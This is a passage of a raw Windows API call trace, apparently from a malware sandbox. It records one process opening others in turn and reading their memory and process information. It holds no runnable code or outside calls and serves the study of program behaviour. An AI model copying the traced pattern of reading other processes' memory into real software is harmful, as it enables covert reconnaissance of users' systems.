ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.409] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.409] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.410] malloc (_Size=0x6a) returned 0x20abc282120 [0179.410] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0179.410] free (_Block=0x20abc282120) [0179.411] CloseHandle (hObject=0x330) returned 1 [0179.411] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0179.415] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="248") returned 3 [0179.416] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.416] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x330 [0179.439] GetLastError () returned 0x0 [0179.439] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.439] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.440] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.440] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.440] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc237c1c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.441] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.442] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.442] malloc (_Size=0x64) returned 0x20abc2807d0 [0179.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0179.443] free (_Block=0x20abc2807d0) [0179.443] CloseHandle (hObject=0x330) returned 1 [0179.444] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0179.447] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2644") returned 4 [0179.448] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.448] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x330 [0179.463] GetLastError () returned 0x0 [0179.463] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.463] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.464] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.464] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc237c1c0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.465] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.466] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.498] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.499] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.499] malloc (_Size=0x72) returned 0x20abc282120 [0179.499] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0179.499] free (_Block=0x20abc282120) [0179.500] CloseHandle (hObject=0x330) returned 1 [0179.531] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0179.535] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2640") returned 4 [0179.536] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc237c770, szCSDVersion="-") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.536] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.569] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x330 [0179.569] GetLastError () returned 0x0 [0179.569] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.569] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.611] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.630] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.695] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc237c1c0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.736] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.741] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.764] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.777] malloc (_Size=0xd6) returned 0x20abc2867b0 [0179.777] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc2867b0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0179.795] free (_Block=0x20abc2867b0) [0179.795] CloseHandle (hObject=0x330) returned 1 [0179.796] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0179.799] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="336") returned 3 [0179.800] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.800] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x330 [0179.813] GetLastError () returned 0x0 [0179.814] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.814] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.814] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.814] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.814] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.815] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.816] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.816] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.817] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.817] malloc (_Size=0xce) returned 0x20abc2867b0 [0179.817] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc2867b0, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0179.818] free (_Block=0x20abc2867b0) [0179.818] CloseHandle (hObject=0x330) returned 1 [0179.819] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0179.822] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2916") returned 4 [0179.823] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.823] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.846] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0179.846] CloseHandle (hObject=0x0) returned 0 [0179.846] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 0x0 [0179.850] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="464") returned 3 [0179.851] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.851] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x330 [0179.865] GetLastError () returned 0x0 [0179.866] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.866] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.866] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.866] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.866] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc237c1c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.867] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.868] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.868] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.868] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.868] malloc (_Size=0x7e) returned 0x20abc2831b0 [0179.869] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc2831b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0179.870] free (_Block=0x20abc2831b0) [0179.870] CloseHandle (hObject=0x330) returned 1 [0179.871] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0179.884] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3560") returned 4 [0179.885] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.885] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.898] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x330 [0179.898] GetLastError () returned 0x0 [0179.898] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.898] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x49f018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.898] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.898] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.899] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.899] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.900] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.900] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x49f020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.900] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.901] malloc (_Size=0x48) returned 0x20abc27cb20 [0179.901] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0179.902] free (_Block=0x20abc27cb20) [0179.902] CloseHandle (hObject=0x330) returned 1 [0179.903] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0179.907] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3576") returned 4 [0179.908] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.908] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x330 [0179.948] GetLastError () returned 0x0 [0179.948] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.948] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x468018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.948] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.949] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x371ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.949] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3718f8, lpBuffer=0x2dc237c1c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.950] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.951] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.951] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x468020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.951] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3712e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.951] malloc (_Size=0x6e) returned 0x20abc2831b0 [0179.951] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x37195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0179.952] free (_Block=0x20abc2831b0) [0179.953] CloseHandle (hObject=0x330) returned 1 [0179.953] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0179.957] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3592") returned 4 [0179.958] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.958] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", 